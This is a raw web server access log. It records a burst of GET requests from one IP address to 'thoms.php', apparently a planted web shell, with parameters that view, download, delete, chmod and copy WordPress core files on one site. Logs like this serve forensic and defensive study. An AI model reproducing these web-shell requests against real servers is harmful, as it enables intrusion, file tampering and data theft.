45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fmedia.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fmedia.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?chmod=plugin.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?chmod=template-canvas.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 200 71114 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 200 37250 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?del=block-patterns.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?dl=meta.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 200 12112 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?dl=plugin.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:00 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 200 21692 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:59 -0400] "GET /thoms.php?del=class-wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:00 -0400] "GET /thoms.php?chmod=block-bindings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:00 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:00 -0400] "GET /thoms.php?dl=user.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=user.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:00 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 200 23478 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:00 -0400] "GET /thoms.php?del=block-template-utils.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:00 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 200 14155 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:00 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 200 18910 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:00 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59261 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:01 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ferror_log&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ferror_log&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:01 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fview-config.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fview-config.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:01 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:01 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:01 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59275 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:01 -0400] "GET /thoms.php?dl=class-wp-network.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59236 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:02 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:02 -0400] "GET /thoms.php?del=comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:02 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 200 12697 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:02 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 200 20046 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:02 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:03 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:02 -0400] "GET /thoms.php?dl=class-wp-term.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59222 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:03 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 200 16293 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:02 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:03 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:03 -0400] "GET /thoms.php?chmod=error_log&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:03 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 200 30509 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:03 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?chmod=media-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:03 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:03 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59247 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 200 13943 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 200 24195 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpost-formats.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11832 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpost-formats.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?chmod=script-modules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 200 18365 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 200 83007 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 200 16054 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?del=query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:04 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:05 -0400] "GET /thoms.php?chmod=ai-client.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:05 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:05 -0400] "GET /thoms.php?dl=theme-previews.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 58756 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:05 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:05 -0400] "GET /thoms.php?del=ID3&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=ID3&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?chmod=theme-templates.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:05 -0400] "GET /thoms.php?dl=https-detection.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59208 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:06 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
